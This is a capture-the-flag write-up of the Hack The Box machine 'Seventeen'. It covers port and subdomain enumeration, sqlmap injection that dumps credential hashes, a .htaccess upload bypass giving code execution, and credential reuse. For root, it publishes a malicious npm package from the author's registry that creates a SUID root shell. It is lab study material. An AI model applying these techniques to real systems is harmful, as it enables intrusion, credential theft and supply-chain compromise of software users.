Published on

HTB Seventeen

Authors

Seventeen

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap --open                                                                                                                                                                                    130Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 22:36 EDT
Nmap scan report for seventeen.htb (10.10.11.165)
Host is up (0.023s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap check UDP

sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap

0

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

└─$ nmap -p 22,80,8000 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap                                                                                                                   130Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 22:37 EDT
Nmap scan report for seventeen.htb (10.10.11.165)
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
|   256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_  256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-headers: 
|   Date: Fri, 08 Sep 2023 02:37:56 GMT
|   Server: Apache/2.4.29 (Ubuntu)
|   Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
|   ETag: "50d1-5dc46256b75a0"
|   Accept-Ranges: bytes
|   Content-Length: 20689
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-title: Let's begin your education with us! 
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    Apache httpd 2.4.38
| http-headers: 
|   Date: Fri, 08 Sep 2023 02:37:56 GMT
|   Server: Apache/2.4.38 (Debian)
|   Content-Length: 280
|   Connection: close
|   Content-Type: text/html; charset=iso-8859-1
|   
|_  (Request type: GET)
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.4; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

Port Enumeration

**Port 80

  • username SEVENTEEN
  • seventeen.htb

Subdomain enumeration

  • enumerating 10.10.11.165 for subdomains returns nothing
    • wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.165 -H "Host: FUZZ.10.10.11.165" --hc 400 --hl 532
  • But enumerating seventeen.htb for subdomains returns 1 result
    • wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" --hc 400 --hl 532
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001013:   200        347 L    991 W      17375 Ch    "exam"
  • Added exam.seventeen.htb to /etc/hosts

New webapp

Untitled

Searchsploit

  • searchsploit exam reviewer management system

Untitled

  • Seems like it is vulnerable to SQLi (unauthenticated), and RCE (authenticated)

This payload worked

Untitled

  • Brought it to sqlmap
    • sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id --dbs --level 3 --batch

Untitled

  • Enumerate databases & their tables

    • sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id --dbs -dump -tables --level 3 --batch

      Untitled

      Untitled

  • Enumerating db_sfms database

    sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T user --dump --level 3 --batch

Untitled

Database: db_sfms
Table: user
[3 entries]
+---------+---------------+---------------+----------------------------------+------------------+---------------+
| user_id | status        | lastname      | password                         | username         | firstname     |
+---------+---------------+---------------+----------------------------------+------------------+---------------+
| 1       | administrator | Administrator | fc8ec7b43523e186a27f46957818391c | admin            | Administrator |
| 2       | Regular       | Anthony       | b35e311c80075c4916935cbbbd770cef | UndetectableMark | Mark          |
| 4       | Regular       | Smith         | 112dd9d08abf9dcceec8bc6d3e26b138 | Stev1992         | Steven        |
+---------+---------------+---------------+----------------------------------+------------------+---------------+
  • Can’t crack these fuckers
  • Enumerating erms_db (prob nothing cuz we already got shit but this is cool)

Untitled

Database: erms_db
Table: users
[3 entries]
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type   | avatar                            | lastname | password                         | username         | firstname    | date_added          | last_login | date_updated        |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1  | 1      | ../oldmanagement/files/avatar.png | Admin    | fc8ec7b43523e186a27f46957818391c | admin            | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2022-02-24 22:00:15 |
| 6  | 2      | ../oldmanagement/files/avatar.png | Anthony  | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark         | 2021-09-30 16:34:02 | NULL       | 2022-05-10 08:21:39 |
| 7  | 2      | ../oldmanagement/files/avatar.png | Smith    | 184fe92824bea12486ae9a56050228ee | Stev1992         | Steven       | 2022-02-22 21:05:07 | NULL       | 2022-02-24 22:00:24 |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
  • Ok so same hashes and usernames, but the avatar is in a directory called /oldmanagement/files/avatar.png
    • This could either be a directory or a subdomain.
    • It’s leaving its current directory, and then going into oldmanagement, so likely it’s a subdomain. Add to /etc/hosts.
      • Note from the future: ippsec describes this well in his video

        Untitled

      • Another note from the future: he was right

      Untitled

Onto Foothold


Exploitation

**********Port 8000

Foothold

oldmanagement.seventeen.htb

Untitled

  • We need a user id so I think it is the id in the enumerated databases, but in db_sfms we can enumerate thestudent field
    • sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T student --dump --level 3 --batch

Untitled

Database: db_sfms                                                                                                                                                                                                                          
Table: student
[4 entries]
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password                                           | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1       | 1A | Male   | 12345   | Smith    | 1a40620f9a4ed6cb8d81a1d365559233                   | John      |
| 2       | 2B | Male   | 23347   | Mille    | abb635c915b0cc296e071e8d76e9060c                   | James     |
| 3       | 2C | Female | 31234   | Shane    | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly     |
| 4       | 3C | Female | 43347   | Hales    | a1428092eb55781de5eb4fd5e2ceb835                   | Jamie     |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
  • We see stud_no and the MD5 hashes we can’t crack again, BUT there is a new one.
  • stud_no lastname Shane MD5 hash is cracked from sqlmap as autodestruction
  • Login as 31234:autodestruction

Untitled

  • Let’s enumerate db_sfms's last table storage
    • sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T storage --dump --level 3 --batch

Untitled

Database: db_sfms
Table: storage
[1 entry]
+----------+---------+----------------------+-----------------+----------------------+
| store_id | stud_no | filename             | file_type       | date_uploaded        |
+----------+---------+----------------------+-----------------+----------------------+
| 33       | 31234   | Marksheet-finals.pdf | application/pdf | 2020-01-26, 06:57 PM |
+----------+---------+----------------------+-----------------+----------------------+

time to get a shell

  • Downloaded the pdf right away

Untitled

  • Added to /etc/hosts

Untitled

  • Back to uploaded stuff
    • So when we try to download something, it shows that it is calling a storeid (I got this from hovering a download button, this is for the pdf)

Untitled

Authenticated file fuzz

  • wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --hc 404 -d "PHPSESSID=5e737e7870bd3e35aba93337ad8fb554" "http://oldmanagement.seventeen.htb:8000/oldmanagement/FUZZ"

Untitled

  • We see /files exists

Untitled

  • Now if we think logically, I authenticated as 31234. And to download the .pdf, it calls the store_id 33. If I try to go to /files/31234/ I get a Forbidden, which means it exists.

Untitled

Bypassing .htaccess in apache → RCE

  1. Upload cmd.php and send it to Repeater

Untitled

  1. Change filename="cmd.php" to filename=".htaccess"
  2. Delete cmd.php contents

Untitled

This creates a .htaccess file making it so that whatever is in the current directory can be accessed by anyone.

Untitled

Untitled

Shell time

  1. Add bash shell to cmd=, but in a Burpsuite Request. Make sure to have it as POST, and add the header Content-Type: application/x-www-form-urlencoded
    1. 9001

Untitled

Untitled

Root

There is no user.txt here so I’m going to assume that we get credentials from this low-privilege box and then pivot to ssh or something

  1. linpeas

    Untitled

  2. /var/www/html/employeemanagementsystem

Untitled

  1. cat readme.txt

    Untitled

  2. cat mark.php

Untitled

  1. cat process/dbh.php

    Untitled

Pivot/Auth as mark

  1. We got mark from linpeas, and this password from dbh.php

  2. ssh mark@10.10.11.165

    1. 2020bestyearofmylife

      Untitled

  3. linpeas

    Untitled

    Untitled

  • polkit is installed so I think if we wanted to pwnkit we could

    Untitled

    Untitled

  • /home/kavi ?

/var/mail/kavi

Untitled

  • This message is saying that they are now using loglevel, which is an npm package. To find this thing running we use netstat to list all services listening on localhost

netstat

  1. netstat -tlnp 127.0.0.1 | grep 127.0.0.1
    1. -t show TCP ports
    2. -l show only listening sockets, which are sockets “listening” for an incoming connection
    3. -n shows numerical addresses instead of resolving hostnames
    4. -p shows the process id for each socket as well as the IP of each (so 127… instead of localhost)

Untitled

Here, the outlier is 40735 and 4873. The rest are ports we already know, like 110 is POP3, 143 is IMAP, 6000-6009 is X11 for virtual hosts, etc.

  1. curl 127.0.0.1:4873

Untitled

Seems to be a web server of some sort

Local hosted web server

  1. First port forward it to something like 9002 so we can see the web app
    1. Local: ssh -L 9002:127.0.0.1:4873 mark@10.10.11.165
      1. This puts the open port of 4873 on the box to my localhost:9002

Untitled

Nothin here

  1. First enumerate it with npm to search for any packages on the local registry that are related to logging, since that is what the email was talking about.
    1. npm search log --registry=http://127.0.0.1:4873

Untitled

  1. We got the name db-logger and it’s a database so most likely we will get creds in it, let’s install it
    1. npm install db-logger --registry=http://127.0.0.1:4873

Untitled

  1. We now have a directory called ~/node_modules
    1. Enumerated it, found ~/nodemodules/db-logger which had logger.js in it, with credentials!

Untitled

root:IhateMathematics123#

Weirdly enough as well it randomly deleted /nodemodules/ after like a minute, idk

  1. We can try ssh'ing to root and kavi with this
    1. kavi:IhateMathematics123# worked

      Untitled

Kavi → Root

  1. sudo -l
    1. Give it the password IhateMathematics123#

Untitled

startup.sh:

#!/bin/bash

cd /opt/app

deps=('db-logger' 'loglevel')

for dep in ${deps[@]}; do
    /bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)

    if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"
        /usr/bin/npm install $dep --silent
        /bin/chown root:root node_modules -R
    else
        /bin/echo "[+] $dep already installed"

    fi
done

/bin/echo "[+] Starting the app"

/usr/bin/node /opt/app/index.js

This script is ensuring that db-logger and loglevel is installed and then starting the application. Then at the end it is calling node to /opt/app/index.js. Since we can sudo it, most likely we break it to get a shell.

npm exploit

  1. cat /opt/app/index.js
const http = require('http')
const port = 8000
const fs = require('fs')
//var logger = require('db-logger')
var logger = require('loglevel')

const server = http.createServer(function(req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    fs.readFile('index.html', function(error, data){
        if (error) {
            res.writeHead(404)
            res.write('Error: File Not Found')
            logger.debug(`INFO: Reuqest from ${req.connection.remoteAddress} to /`)

        } else {
            res.write(data)
        }
    res.end()
    })
})

server.listen(port, function(error) {
    if (error) {
        logger.warn(`ERROR: Error occured while starting the server : ${e}`)
    } else {
        logger.log("INFO:  Server running on port " + port)
    }
})

Here db-logger and loglevel are marked as require's but only loglevel is active cuz db-logger is commented. So we could create a malicious loglevel package and configure it and then replace it here somehow, to point it to our locally hosted registry and then execute the script as root.

It is worth noting as well that we are on Ubuntu 18.04, which is before the update on 19.10 that patched a version of sudo that preserves the $HOME variable by default. So if npm is running as root, the $HOME variable after sudo calls to /home/kavi, which is where we have perms.

  1. Locally install npm/docker for verdaccio
    1. sudo apt install docker
    2. docker pull verdaccio/verdaccio
    3. sudo docker run -it --rm --name verdaccio -p 4873:4873 -e 'VERDACCIO_PUBLIC_URL=http://10.10.16.3:4873' verdaccio/verdaccio
      1. Start our docker on port 4873 so it is identical to our target’s, and we pull the image verdaccio that we just installed as well
      2. -e '...' is very important because this should allow npm to see where we are pointing the web application so we can create a user.
    4. Visit 0.0.0.0:4873 and it works

Untitled

  1. mkdir loglevel cd loglevel
  2. npm init (this will create package.json)
    1. package name: loglevel

    2. version: 1.8.1

      1. This is important because it just has to be greater than what’s on the target for it to overwrite and work. On the target machine it’s 1.8.0 so we made this 1.8.1

        Untitled

    3. entry point: index.js

      Untitled

Getting a shell from making a /tmp/shell

  1. Now we need to make a malicious .js file, I think either logger.js or index.js

    1. nano index.js

      require("child_process").exec("chown root:root /tmp/shell;chmod 4755 /tmp/shell")
      
  2. Target:

    1. cp /bin/bash /tmp/shell
  3. Local:

    1. npm adduser --registry http://10.10.16.3:4873/ --auth-type=legacy

    2. --auth-type=legacy is needed and if you don’t specify this, npm @version 9 or higher won’t work. Was stuck on this for longer than I would like to admit.

      Untitled

    3. npm publish --registry http://10.10.16.3:4873

    Untitled

  4. Target:

    1. nano .npmrc

      registry=http://10.10.16.3:4873/
      
    2. sudo /opt/app/startup.sh

    3. ls -la /tmp/shell should be root owned now

      Untitled

  5. /tmp/shell -p

    1. If we don’t specifiy -p we won’t get root, -p gives Bash privileged mode.

      Untitled


Useful resource links

Lessons Learned

  • learned a lot with npm was a pain in the ass for fucking sure but learned something nonetheless, box took a few days
  • learned more about the output of netstat
  • shoveled in the fact on that with HTB, whenever I find a new subdomain.tld I need to fully enumerate it, if the vulnerability or point of interest is not immediately present

Cool to see

Untitled